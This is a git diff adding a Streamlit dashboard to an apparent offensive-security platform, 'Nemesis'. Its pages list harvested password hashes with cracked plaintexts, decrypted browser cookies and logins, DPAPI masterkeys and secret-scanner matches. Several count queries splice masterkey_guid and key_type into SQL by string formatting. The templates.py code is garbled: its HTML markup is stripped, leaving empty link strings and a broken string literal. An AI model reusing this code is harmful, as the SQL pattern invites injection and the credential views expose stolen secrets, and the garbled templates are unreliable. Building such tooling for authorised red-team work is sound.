+ results = utils.elastic_np_search(from_i, page_size)
+
+ if results != {}:
+ total_hits = results["hits"]["total"]["value"]
+ num_results = len(results["hits"]["hits"])
+
+ if total_hits > 0:
+ st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True)
+
+ for i in range(num_results):
+ object_id = results["hits"]["hits"][i]["_source"]["objectId"]
+ download_url = f"{nemesis_http_server}/api/download/{object_id}"
+ path = results["hits"]["hits"][i]["_source"]["path"]
+ source = ""
+ if "metadata" in results["hits"]["hits"][i]["_source"] and "source" in results["hits"]["hits"][i]["_source"]["metadata"]:
+ source = results["hits"]["hits"][i]["_source"]["metadata"]["source"]
+
+ with st.expander(f"{source} : {path}"):
+ st.write(
+ f"""
+
+ Download File
+
+ """,
+ unsafe_allow_html=True,
+ )
+ st.divider()
+ for ruleMatch in results["hits"]["hits"][i]["_source"]["noseyparker"]["ruleMatches"]:
+ for match in ruleMatch["matches"]:
+ rule_name = match["ruleName"]
+ before = match["snippet"]["before"].replace("\n\t", " ")
+ matching = match["snippet"]["matching"]
+ after = match["snippet"]["after"].replace("\n\t", " ")
+
+ st.write(f"Rule : {rule_name}", unsafe_allow_html=True)
+ annotated_text(annotation(before, "context", color="#8ef"), annotation(matching, "match"), annotation(after, "context", color="#8ef"))
+ st.divider()
+
+ # pagination
+ if total_hits > page_size:
+ total_pages = (total_hits + page_size - 1) // page_size
+ pagination_html = templates.np_pagination(total_pages, st.session_state.np_page)
+ st.write(pagination_html, unsafe_allow_html=True)
+ else:
+ st.write(templates.no_result_html(), unsafe_allow_html=True)
diff --git a/cmd/dashboard/dashboard/pages/7_Hashes.py b/cmd/dashboard/dashboard/pages/7_Hashes.py
new file mode 100644
index 0000000..b4145ce
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/7_Hashes.py
@@ -0,0 +1,76 @@
+# Standard Libraries
+import os
+
+# 3rd Party Libraries
+import pandas as pd
+import streamlit as st
+import utils
+
+# from PIL import Image
+from sqlalchemy import create_engine
+from sqlalchemy import text as sql_text
+from st_aggrid import AgGrid, DataReturnMode, GridOptionsBuilder, GridUpdateMode, JsCode
+
+PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or ""
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or ""
+PAGE_SIZE = os.environ.get("PAGE_SIZE") or ""
+PAGE_SIZE = int(PAGE_SIZE)
+
+engine = create_engine(POSTGRES_CONNECTION_URI)
+conn = engine.connect()
+
+
+utils.header()
+
+if st.session_state["authentication_status"]:
+ st.title("Hashes")
+
+ with st.expander("About Hashes"):
+ st.markdown(
+ """
+ This page shows hashes that have been extracted from processed Nemesis data.
+ """
+ )
+
+ query = "SELECT agent_id, timestamp, hash_type, hash_value, is_cracked, plaintext_value, originating_object_id::varchar as object_id from extracted_hashes"
+ df = pd.read_sql_query(sql_text(query), conn)
+
+ gb = GridOptionsBuilder.from_dataframe(df)
+ gb.configure_default_column(groupable=True)
+
+ gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=PAGE_SIZE)
+
+ gb.configure_column("agent_id", hide=True)
+ gb.configure_column("timestamp", hide=True)
+
+ js_link_code = """
+ class UrlCellRenderer {
+ init(params) {
+ var link = "%sapp/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'" + params.value + "')))))&_g=(time:(from:now-1y%%2Fd,to:now))";
+ this.eGui = document.createElement('a');
+ this.eGui.innerText = 'Link To Originating File';
+ this.eGui.setAttribute('href', link);
+ this.eGui.setAttribute('style', "text-decoration:none");
+ this.eGui.setAttribute('target', "_blank");
+ }
+ getGui() {
+ return this.eGui;
+ }
+ }
+ """ % (
+ PUBLIC_KIBANA_URL
+ )
+
+ gb.configure_column("object_id", headerName="Originating Object", cellRenderer=JsCode(js_link_code))
+
+ grid = AgGrid(
+ df,
+ gridOptions=gb.build(),
+ width="100%",
+ data_return_mode=DataReturnMode.AS_INPUT,
+ update_mode=GridUpdateMode.VALUE_CHANGED,
+ fit_columns_on_grid_load=True,
+ allow_unsafe_jscode=True,
+ allow_unsafe_html=True,
+ )
diff --git a/cmd/dashboard/dashboard/templates.py b/cmd/dashboard/dashboard/templates.py
new file mode 100644
index 0000000..7386401
--- /dev/null
+++ b/cmd/dashboard/dashboard/templates.py
@@ -0,0 +1,347 @@
+# Standard Libraries
+import os
+import urllib.parse
+import re
+
+# 3rd Party Libraries
+import streamlit as st
+
+# Adapted from https://github.com/chiachong/medium-search-app/blob/9fde32173731d4f696fdee05454314277504d89f/srcs/streamlit_app/templates.py
+
+
+PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL")
+WEB_API_URL = os.environ.get("WEB_API_URL")
+NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER")
+
+
+def no_result_html() -> str:
+ """ """
+ return """
+
+ No results were found.
+
+ """
+
+
+def number_of_results(total_hits: int, duration: float = -1.0) -> str:
+ """HTML scripts to display number of results and time taken."""
+ if duration < 0:
+ return f"""
+
+ {total_hits} results
+
+ """
+ else:
+ return f"""
+
+ {total_hits} results ({duration:.2f} seconds)
+
+ """
+
+
+def text_pagination(total_pages: int, search: str, current_page: int) -> str:
+ """Create and return html for text search pagination."""
+
+ # search words
+ params = f"?text_search={urllib.parse.quote(search)}"
+
+ # avoid invalid page number (<=0)
+ if (current_page - 5) > 0:
+ start_from = current_page - 5
+ else:
+ start_from = 1
+
+ hrefs = []
+ if current_page != 1:
+ hrefs.append(f'<<First ')
+ hrefs.append(f'<Previous ')
+
+ for i in range(start_from, min(total_pages + 1, start_from + 10)):
+ if i == current_page:
+ hrefs.append(f"{current_page}")
+ else:
+ hrefs.append(f'{i} ')
+
+ if current_page != total_pages:
+ hrefs.append(f'Next> ')
+
+ return "" + " ".join(hrefs) + "
"
+
+
+def file_pagination(total_pages: int, current_page: int, search_params: dict) -> str:
+ """Create and return html for file pagination."""
+
+ params = "".join([f"&{urllib.parse.quote(str(k))}={urllib.parse.quote(str(v))}" for k, v in search_params.items() if v])
+
+ # avoid invalid page number (<=0)
+ if (current_page - 5) > 0:
+ start_from = current_page - 5
+ else:
+ start_from = 1
+
+ hrefs = []
+ if current_page != 1:
+ hrefs.append(f'<<First ')
+ hrefs.append(f'<Previous ')
+
+ for i in range(start_from, min(total_pages + 1, start_from + 10)):
+ if i == current_page:
+ hrefs.append(f"{current_page}")
+ else:
+ hrefs.append(f'{i} ')
+
+ if current_page != total_pages:
+ hrefs.append(f'Next> ')
+
+ hrefs.insert(0, f'Current Page Link ')
+
+ return "" + " ".join(hrefs) + "
"
+
+
+def np_pagination(total_pages: int, current_page: int) -> str:
+ """Create and return html for NoseyParker pagination."""
+
+ # avoid invalid page number (<=0)
+ if (current_page - 5) > 0:
+ start_from = current_page - 5
+ else:
+ start_from = 1
+
+ hrefs = []
+ if current_page != 1:
+ hrefs.append(f'<<First ')
+ hrefs.append(f'<Previous ')
+
+ for i in range(start_from, min(total_pages + 1, start_from + 10)):
+ if i == current_page:
+ hrefs.append(f"{current_page}")
+ else:
+ hrefs.append(f'{i} ')
+
+ if current_page != total_pages:
+ hrefs.append(f'Next> ')
+
+ return "" + " ".join(hrefs) + "
"
+
+
+def text_search_result(
+ i: int, url: str, pdf_url: str, source: str, path: str, highlights: str, length: str, originating_object_id: str, **kwargs
+) -> str:
+ """HTML scripts to display text search results."""
+
+ download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{originating_object_id}"
+
+ return (f"""
+
+
+
+
""", highlights , """
+
+ """)
+
+
+def sourcecode_search_result(
+ i: int, elastic_url: str, download_url: str, source: str, path: str, name: str, language: str, highlights: str, size: str, **kwargs
+) -> str:
+ """HTML scripts to display text search results."""
+
+ view_url = f"{download_url}?name={name}"
+
+ return (f"""
+
+
+
+
""", highlights , """
+
+ """)
+
+
+def semantic_search_result(result) -> str:
+ """HTML scripts to display a semantic search json result."""
+
+ text = result["text"]
+ score = result["score"]
+ source = ""
+ if "source" in result:
+ source = result["source"]
+ originating_object_id = result["originating_object_id"]
+ download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{originating_object_id}"
+ originating_object_path = result["originating_object_path"]
+ pdf_object_id = result["originating_object_pdf"]
+ originating_object_url = f"{PUBLIC_KIBANA_URL}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{originating_object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))"
+ originating_object_pdf_url = f"{WEB_API_URL}download/{pdf_object_id}?name=result.pdf&action=view"
+
+ return (f"""
+
+
+ """)
+
+
+def default_file(base_result: dict) -> str:
+ """Return HTML to display an default file."""
+
+ nemesis_file_type = base_result["nemesisFileType"]
+ path = base_result["path"]
+ source = ""
+ if "metadata" in base_result and "source" in base_result["metadata"]:
+ source = base_result["metadata"]["source"]
+ parsed_data = base_result["parsedData"]
+ sha1 = base_result["hashes"]["sha1"]
+ magic_type = base_result["magicType"]
+ object_id = base_result["objectId"]
+
+ kibana_base = os.environ.get("PUBLIC_KIBANA_URL") or ""
+ kibana_url = (
+ f"{kibana_base}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))))&_g=(time:(from:now-1y%%2Fd,to:now))"
+ )
+ download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}"
+
+ st.write(
+ f"""
+
+
+
+ Source : {source}
+
+
+
+ Magic Type : {magic_type}
+
+
+ Nemesis File Type : {nemesis_file_type}
+
+
+ SHA1 : {sha1}
+
+
+
+
+ """,
+ unsafe_allow_html=True,
+ )
+
+ if parsed_data:
+ st.write("Parsed File Data:")
+ st.json(parsed_data)
+
+
+def office_document(base_result: dict) -> str:
+ """Return HTML to display an office document."""
+
+ nemesis_file_type = base_result["nemesisFileType"]
+ path = base_result["path"]
+ source = ""
+ if "metadata" in base_result and "source" in base_result["metadata"]:
+ source = base_result["metadata"]["source"]
+ parsed_data = base_result["parsedData"]
+ sha1 = base_result["hashes"]["sha1"]
+ magic_type = base_result["magicType"]
+ object_id = base_result["objectId"]
+ pdf_url = base_result["convertedPdfURL"]
+
+ kibana_base = os.environ.get("PUBLIC_KIBANA_URL") or ""
+ kibana_url = (
+ f"{kibana_base}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))))&_g=(time:(from:now-1y%%2Fd,to:now))"
+ )
+ download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}"
+
+ st.write(
+ f"""
+
+
+
+ Source : {source}
+
+
+
+
+ Magic Type : {magic_type}
+
+
+ Nemesis File Type : {nemesis_file_type}
+
+
+ SHA1 : {sha1}
+
+
+
+
+ """,
+ unsafe_allow_html=True,
+ )
+
+ if parsed_data:
+ st.write("Parsed File Data:")
+ st.json(parsed_data)
diff --git a/cmd/dashboard/dashboard/utils.py b/cmd/dashboard/dashboard/utils.py
new file mode 100644
index 0000000..063ca92
--- /dev/null
+++ b/cmd/dashboard/dashboard/utils.py
@@ -0,0 +1,899 @@
+# Standard Libraries
+import datetime
+import os
+import re
+import time
+from typing import List, Tuple
+
+# 3rd Party Libraries
+import bcrypt
+import pandas as pd
+import psycopg
+import requests
+import streamlit as st
+import streamlit_authenticator as stauth
+from elasticsearch import Elasticsearch
+from sqlalchemy import create_engine
+from sqlalchemy import text as sql_text
+
+# pull in and check all of our required environment variables
+WAIT_TIMEOUT = 5
+POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or ""
+ELASTICSEARCH_URL = os.environ.get("ELASTICSEARCH_URL") or ""
+ELASTICSEARCH_USER = os.environ.get("ELASTICSEARCH_USER") or ""
+ELASTICSEARCH_PASSWORD = os.environ.get("ELASTICSEARCH_PASSWORD") or ""
+DASHBOARD_USER = os.environ.get("DASHBOARD_USER")
+DASHBOARD_PASSWORD = os.environ.get("DASHBOARD_PASSWORD")
+NLP_URL = os.environ.get("NLP_URL")
+NEMESIS_API_URL = "http://enrichment-webapi:9910/"
+
+if not all(
+ var is not None and var != ""
+ for var in (
+ POSTGRES_CONNECTION_URI,
+ ELASTICSEARCH_URL,
+ ELASTICSEARCH_USER,
+ ELASTICSEARCH_PASSWORD,
+ DASHBOARD_USER,
+ DASHBOARD_PASSWORD,
+ NLP_URL,
+ )
+):
+ raise Exception("Missing environment variables. Please check your .env file.")
+
+engine = create_engine(POSTGRES_CONNECTION_URI)
+
+
+######################################################
+#
+# NLP helpers
+#
+######################################################
+
+
+def semantic_search(search_phrase: str, num_results: int = 4) -> dict:
+ """
+ Calls {NLP_URL}/semantic_search to extract password candidates from a plaintext document.
+ """
+
+ try:
+ data = {"search_phrase": search_phrase, "num_results": num_results}
+ url = f"{NLP_URL}semantic_search"
+ result = requests.post(url, json=data)
+ return result.json()
+ except Exception as e:
+ return {"error": f"Error calling semantic_search with search_phrase '{search_phrase}' : {e}"}
+
+
+######################################################
+#
+# Postgres helpers (mostly for the Chromium page)
+#
+######################################################
+
+def get_unique_sources(table: str):
+ """
+ Given a table name return all of the unique sources for that table.
+ """
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ cur.execute(f"SELECT DISTINCT source FROM nemesis.{table}")
+ return [x[0] for x in cur.fetchall()]
+ except Exception as e:
+ st.error(f"Exception querying the database: {e}")
+
+
+def get_unique_projects(table: str):
+ """
+ Given a table name return all of the unique project for that table.
+ """
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ cur.execute(f"SELECT DISTINCT project_id FROM nemesis.{table}")
+ return [x[0] for x in cur.fetchall()]
+ except Exception as e:
+ st.error(f"Exception querying the database: {e}")
+
+
+def get_usernames_for_source(table: str, source: str) -> List[str]:
+ """
+ Given a table name (cookies, logins, history, downloads) and source term
+ return all of the unique usernames for that source/table.
+ """
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ cur.execute(f"SELECT DISTINCT username FROM nemesis.chromium_{table} WHERE source ILIKE %s", (source,))
+ return [x[0] for x in cur.fetchall()]
+
+
+def get_browsers_for_source_username(table: str, source: str, username: str) -> List[str]:
+ """
+ Given a table name (cookies, logins, history, downloads), source term, and
+ username return all of the unique browsers for that combination.
+ """
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ cur.execute(
+ f"SELECT DISTINCT browser FROM nemesis.chromium_{table} WHERE source ILIKE %s AND username ILIKE %s", (source, username)
+ )
+ return ["all"] + [x[0] for x in cur.fetchall()]
+
+
+def get_cookie_df(
+ source: str, username: str, browser: str, site: str, name: str, show_encrypted: bool, show_expired: bool
+) -> pd.DataFrame:
+ """Return a cookies dataframe based on the query parameters."""
+
+ query = """
+ SELECT chromium_cookies.source AS source, chromium_cookies.username AS username, chromium_cookies.browser AS browser, chromium_cookies.host_key AS domain, chromium_cookies.name AS name, chromium_cookies.path AS path, chromium_cookies.value_dec AS value, chromium_cookies.expires_utc AS expires_utc, chromium_cookies.unique_db_id::varchar AS unique_db_id, notes.value as notes
+
+ FROM chromium_cookies
+
+ LEFT JOIN notes
+ ON chromium_cookies.unique_db_id = notes.unique_db_id
+
+ WHERE source ILIKE :source AND username ILIKE :username AND browser ILIKE :browser AND host_key ILIKE :host_key AND name ILIKE :name
+ """
+
+ if not show_encrypted:
+ query += " AND is_decrypted = True"
+
+ if not show_expired:
+ query += " AND expires_utc > now() at time zone 'utc'"
+
+ try:
+ with engine.connect() as conn:
+ params = {"source": source, "username": username, "browser": browser, "host_key": site, "name": name}
+ return pd.read_sql_query(sql_text(query), conn, params=params)
+ except Exception as e:
+ st.error(f"Error retrieving `chromium_cookies` from the database: {e}", icon="🚨")
+ print(f"Exception: {e}")
+
+
+def get_login_df(
+ source: str, username: str, browser: str, url: str, login_username: str, show_encrypted: bool, show_blank: bool
+) -> pd.DataFrame:
+ """Return a logins dataframe based on the query parameters."""
+
+ query = """
+ SELECT chromium_logins.source AS source, chromium_logins.username AS username, chromium_logins.browser AS browser, chromium_logins.origin_url AS url, chromium_logins.username_value AS username_value, chromium_logins.password_value_dec AS password, chromium_logins.date_last_used AS last_used, chromium_logins.times_used AS used, chromium_logins.unique_db_id::varchar AS unique_db_id, notes.value as notes
+
+ FROM chromium_logins
+
+ LEFT JOIN notes
+ ON chromium_logins.unique_db_id = notes.unique_db_id
+
+ WHERE source ILIKE :source AND username ILIKE :username AND browser ILIKE :browser AND origin_url ILIKE :url AND username_value ILIKE :login_username
+ """
+
+ if not show_encrypted:
+ query += " AND is_decrypted = True"
+ if show_blank:
+ query += " AND length(password_value_dec) > 0"
+
+ try:
+ with engine.connect() as conn:
+ params = {"source": source, "username": username, "browser": browser, "url": url, "login_username": login_username}
+ return pd.read_sql_query(sql_text(query), conn, params=params)
+ except Exception as e:
+ st.error(f"Error retrieving `chromium_logins` from the database: {e}", icon="🚨")
+
+
+def get_history_df(source: str, username: str, browser: str, url: str, title: str):
+ """Return a history dataframe based on the query parameters."""
+
+ query = """
+ SELECT chromium_history.source AS source, chromium_history.username AS username, chromium_history.browser AS browser, chromium_history.url AS url, chromium_history.title AS title, chromium_history.visit_count AS visits, chromium_history.last_visit_time AS last_visit_time, chromium_history.unique_db_id::varchar AS unique_db_id, notes.value as notes
+
+ FROM chromium_history
+
+ LEFT JOIN notes
+ ON chromium_history.unique_db_id = notes.unique_db_id
+
+ WHERE chromium_history.source ILIKE :source AND chromium_history.username ILIKE :username AND chromium_history.browser ILIKE :browser AND chromium_history.url ILIKE :url AND chromium_history.title ILIKE :title
+ """
+ try:
+ with engine.connect() as conn:
+ params = {"source": source, "username": username, "browser": browser, "url": url, "title": title}
+ return pd.read_sql_query(sql_text(query), conn, params=params)
+ except Exception as e:
+ st.error(f"Error retrieving `chromium_history` from the database: {e}", icon="🚨")
+
+
+def get_download_df(source: str, username: str, browser: str, url: str, download_path: str):
+ """Return a downloads dataframe based on the query parameters."""
+
+ query = """
+ SELECT chromium_downloads.source AS source, chromium_downloads.username AS username, chromium_downloads.browser AS browser, chromium_downloads.url AS url, chromium_downloads.download_path as download_path, chromium_downloads.end_time as timestamp, chromium_downloads.danger_type as danger_type, chromium_downloads.unique_db_id::varchar AS unique_db_id, notes.value as notes
+
+ FROM chromium_downloads
+
+ LEFT JOIN notes
+ ON chromium_downloads.unique_db_id = notes.unique_db_id
+
+ WHERE chromium_downloads.source ILIKE :source AND chromium_downloads.username ILIKE :username AND chromium_downloads.browser ILIKE :browser AND chromium_downloads.url ILIKE :url AND chromium_downloads.download_path ILIKE :download_path
+ """
+ try:
+ with engine.connect() as conn:
+ params = {"source": source, "username": username, "browser": browser, "url": url, "download_path": download_path}
+ return pd.read_sql_query(sql_text(query), conn, params=params)
+ except Exception as e:
+ st.error(f"Error retrieving `chromium_downloads` from the database: {e}", icon="🚨")
+
+
+@st.cache_data(ttl=1000, show_spinner="Fetching fresh data from the database...")
+def get_masterkeys() -> pd.DataFrame:
+ """Performs the main database query for masterkeys so the data can be cached on reruns."""
+
+ query = """
+ SELECT dpapi_masterkeys.source, dpapi_masterkeys.username, dpapi_masterkeys.user_sid, dpapi_masterkeys.timestamp, dpapi_masterkeys.type, dpapi_masterkeys.masterkey_guid::text, dpapi_masterkeys.is_decrypted, COUNT(dpapi_blobs.unique_db_id) AS dpapi_blobs, COUNT(chromium_state_files.unique_db_id) AS state_files
+
+ from dpapi_masterkeys
+
+ LEFT JOIN dpapi_blobs
+ ON dpapi_masterkeys.masterkey_guid = dpapi_blobs.masterkey_guid
+
+ LEFT JOIN chromium_state_files
+ ON dpapi_masterkeys.masterkey_guid = chromium_state_files.masterkey_guid
+
+ GROUP BY dpapi_masterkeys.masterkey_guid
+ """
+
+ try:
+ with engine.connect() as conn:
+ # read the query directly into the dataframe and return it
+ df = pd.read_sql_query(sql_text(query), conn)
+
+ # st.session_state["df"] is set to the database output on each non-cached run
+ st.session_state["df_loaded"] = True
+ print("[*] Retrieved fresh data from the database!")
+ return df
+ except Exception as e:
+ st.error(f"Error retrieving dpapi_masterkeys from the database: {e}", icon="🚨")
+
+
+@st.cache_data(ttl=1000, show_spinner="Fetching fresh data from the database...")
+def get_password_data() -> pd.DataFrame:
+ """Performs the main database query for passwords so the data can be cached on reruns."""
+
+ # query the `nemesis.authentication_data` table for entries of type "password"
+ # we need a left outer join here with the `nemesis.triage` table
+ query = """
+ SELECT authentication_data.unique_db_id::varchar, authentication_data.agent_id, authentication_data.timestamp, authentication_data.username, authentication_data.data, authentication_data.uri as url, authentication_data.source, authentication_data.originating_object_id::varchar as object_id, triage.value as triage, notes.value as notes
+
+ FROM authentication_data
+
+ LEFT JOIN triage
+ ON authentication_data.unique_db_id = triage.unique_db_id
+
+ LEFT JOIN notes
+ ON authentication_data.unique_db_id = notes.unique_db_id
+
+ WHERE authentication_data.type = 'password'
+ """
+
+ try:
+ with engine.connect() as conn:
+ # read the query directly into the dataframe and return it
+ df = pd.read_sql_query(sql_text(query), conn)
+
+ # st.session_state["df"] is set to the database output on each non-cached run
+ st.session_state["df_loaded"] = True
+ print("[*] Retrieved fresh data from the database!")
+ return df
+ except Exception as e:
+ st.error(f"Error retrieving authentication_data from the database: {e}", icon="🚨")
+
+
+def update_triage_table(unique_db_id: str, table_name: str, operator: str, triage_value: str, originating_object_id: str = "") -> None:
+ """
+ Updates the triage table with the triage value for the specified unique_db_id.
+
+ If an originating_object_id is passed, that file object is updated as well.
+ """
+ try:
+ # update the triage value in the Postgres `nemesis.triage` table for this unique_db_id
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ print(f"[*] Changing triage for unique_db_id object '{unique_db_id}' to value '{triage_value}'")
+
+ with conn.cursor() as cur:
+ cur.execute(
+ """
+ INSERT INTO nemesis.triage (unique_db_id, table_name, operator, value, modification_time)
+ VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc')
+ ON CONFLICT (unique_db_id)
+ DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc'
+ """,
+ {"unique_db_id": unique_db_id, "table_name": table_name, "operator": operator, "value": triage_value},
+ )
+
+ # update the originating object
+ if originating_object_id:
+ cur.execute(
+ """
+ SELECT unique_db_id::varchar
+ FROM nemesis.file_data_enriched
+ WHERE object_id = %s
+ """,
+ (originating_object_id,),
+ )
+ output = cur.fetchone()
+ if output:
+ print(f"[*] Changing originating_object_id object '{originating_object_id}' to triage value '{triage_value}'")
+ cur.execute(
+ """
+ INSERT INTO nemesis.triage (unique_db_id, table_name, operator, value, modification_time)
+ VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc')
+ ON CONFLICT (unique_db_id)
+ DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc'
+ """,
+ {"unique_db_id": unique_db_id, "table_name": "file_data_enriched", "operator": operator, "value": triage_value},
+ )
+ conn.commit()
+
+ except Exception as e:
+ st.error(f"Exception saving data to the database: {e}", icon="🚨")
+
+
+def update_notes_table(unique_db_id: str, table_name: str, operator: str, notes_value: str) -> None:
+ """
+ Updates the notes table with the notes value for the specified unique_db_id.
+ """
+ try:
+ # update the triage value in the Postgres `nemesis.triage` table for this unique_db_id
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ print(f"[*] Changing notes for unique_db_id object '{unique_db_id}' to value '{notes_value}'")
+ with conn.cursor() as cur:
+ cur.execute(
+ """
+ INSERT INTO nemesis.notes (unique_db_id, table_name, operator, value, modification_time)
+ VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc')
+ ON CONFLICT (unique_db_id)
+ DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc'
+ """,
+ {"unique_db_id": unique_db_id, "table_name": table_name, "operator": operator, "value": notes_value},
+ )
+
+ conn.commit()
+
+ except Exception as e:
+ st.error(f"Exception saving data to the database: {e}", icon="🚨")
+
+
+def postgres_count_entries(table_name: str) -> int:
+ """
+ Given a table name, returns the total number of entries.
+ """
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ cur.execute(f"SELECT COUNT(*) FROM nemesis.{table_name}")
+ return cur.fetchone()[0]
+ except Exception as e:
+ return -1
+
+
+def postgres_count_dpapi_blobs(show_all=True, show_dec=True, masterkey_guid=""):
+ """
+ Count the number of dpapi_blobs matching specific criteria.
+ """
+
+ query = "SELECT COUNT(*) FROM nemesis.dpapi_blobs "
+
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ if not show_all:
+ # if this section isn't hit, all enc/dec are shown
+ if show_dec:
+ # only show decrypted
+ query += "WHERE is_decrypted = True "
+ else:
+ # only show encrypted
+ query += "WHERE is_decrypted = False "
+ if masterkey_guid != "":
+ query += f"WHERE masterkey_guid = '{masterkey_guid}'"
+ elif masterkey_guid != "":
+ query += f"WHERE masterkey_guid = '{masterkey_guid}'"
+ cur.execute(query)
+ return cur.fetchone()[0]
+ except Exception as e:
+ print(f"Exception: {e}")
+ return -1
+
+
+def postgres_count_state_files(show_all=True, show_dec=True, masterkey_guid=""):
+ """
+ Count the number of chromium_state_files matching specific criteria.
+ """
+
+ query = "SELECT COUNT(*) FROM nemesis.chromium_state_files "
+
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ if not show_all:
+ # if this section isn't hit, all enc/dec are shown
+ if show_dec:
+ # only show decrypted
+ query += "WHERE is_decrypted = True "
+ else:
+ # only show encrypted
+ query += "WHERE is_decrypted = False "
+ if masterkey_guid != "":
+ query += f"WHERE masterkey_guid = '{masterkey_guid}'"
+ elif masterkey_guid != "":
+ query += f"WHERE masterkey_guid = '{masterkey_guid}'"
+ cur.execute(query)
+ return cur.fetchone()[0]
+ except Exception as e:
+ print(f"Exception: {e}")
+ return -1
+
+
+def postgres_count_masterkeys(show_all=True, show_dec=True, key_type=""):
+ """
+ Count the number of masterkeys matching specific criteria.
+
+ Types: domain_user, local_user, machine
+ """
+
+ query = "SELECT COUNT(*) FROM nemesis.dpapi_masterkeys "
+
+ try:
+ with psycopg.connect(POSTGRES_CONNECTION_URI) as conn:
+ with conn.cursor() as cur:
+ if not show_all:
+ # if this section isn't hit, all enc/dec are shown
+ if show_dec:
+ # only show decrypted
+ query += "WHERE is_decrypted = True "
+ else:
+ # only show encrypted
+ query += "WHERE is_decrypted = False "
+ if key_type:
+ query += f"AND type = '{key_type}'"
+ elif key_type:
+ query += f"WHERE type = '{key_type}'"
+ cur.execute(query)
+ return cur.fetchone()[0]
+ except Exception as e:
+ print(f"Exception: {e}")
+ return -1
+
+
+def postgres_file_search(
+ start: datetime.datetime,
+ end: datetime.datetime,
+ from_i: int = 0,
+ size: int = 8,
+ source: str = "%",
+ project_id: str = "%",
+ file_hash: str = "",
+ path_pattern: str = "",
+ notes_pattern: str = "",
+ tags: List[str] = [],
+ show_triaged: bool = False,
+ show_archive_originated: bool = False,
+ order_desc_timestamp: bool = False,
+) -> Tuple:
+ """
+ Searches the nemesis.file_data_enriched table for paginated results given
+ the supplied search parameters.
+
+ TODO: timestamp filtering?
+ """
+
+ # query for our count, based in the filters
+ query_count = """
+ SELECT COUNT(*)
+
+ FROM file_data_enriched
+
+ LEFT JOIN triage
+ ON file_data_enriched.unique_db_id = triage.unique_db_id
+
+ LEFT JOIN notes
+ ON file_data_enriched.unique_db_id = notes.unique_db_id
+ AND notes.value ILIKE :notes
+
+ WHERE file_data_enriched.source ILIKE :source
+ AND file_data_enriched.project_id ILIKE :project_id
+ """
+
+ # actual data query
+ query = """
+ SELECT file_data_enriched.project_id as project_id,
+ file_data_enriched.source as source,
+ file_data_enriched.timestamp as timestamp,
+ file_data_enriched.unique_db_id::varchar,
+ file_data_enriched.agent_id as agent_id,
+ file_data_enriched.object_id::varchar as object_id,
+ file_data_enriched.path as path,
+ file_data_enriched.name as name,
+ file_data_enriched.size as size,
+ file_data_enriched.md5 as md5,
+ file_data_enriched.sha1 as sha1,
+ file_data_enriched.sha256 as sha256,
+ file_data_enriched.nemesis_file_type as nemesis_file_type,
+ file_data_enriched.magic_type as magic_type,
+ file_data_enriched.converted_pdf_id::varchar as converted_pdf_id,
+ file_data_enriched.extracted_plaintext_id::varchar as extracted_plaintext_id,
+ file_data_enriched.extracted_source_id::varchar as extracted_source_id,
+ file_data_enriched.tags as tags,
+ file_data_enriched.originating_object_id as originating_object_id,
+ triage.value as triage,
+ triage.unique_db_id as triage_unique_db_id,
+ notes.value as notes
+
+ FROM file_data_enriched
+
+ LEFT JOIN triage
+ ON file_data_enriched.unique_db_id = triage.unique_db_id
+
+ LEFT JOIN notes
+ ON file_data_enriched.unique_db_id = notes.unique_db_id
+ AND notes.value ILIKE :notes
+
+ WHERE source ILIKE :source
+ AND project_id ILIKE :project_id
+ AND timestamp >= :start AND timestamp < :end
+ """
+ if path_pattern:
+ query_count += "\n AND path ILIKE :path"
+ query += "\n AND path ILIKE :path"
+ if file_hash:
+ query_count += "\n AND (file_data_enriched.md5 ILIKE :md5 OR file_data_enriched.sha1 ILIKE :sha1 OR file_data_enriched.sha256 ILIKE :sha256)"
+ query += "\n AND (md5 ILIKE :md5 OR sha1 ILIKE :sha1 OR sha256 ILIKE :sha256)"
+ if tags:
+ for i in range(len(tags)):
+ query_count += f"\n AND :tag_{i} = ANY(file_data_enriched.tags)"
+ query += f"\n AND :tag_{i} = ANY(file_data_enriched.tags)"
+ if not show_triaged:
+ query_count += "\n AND triage.value IS NULL"
+ query += "\n AND triage.value IS NULL"
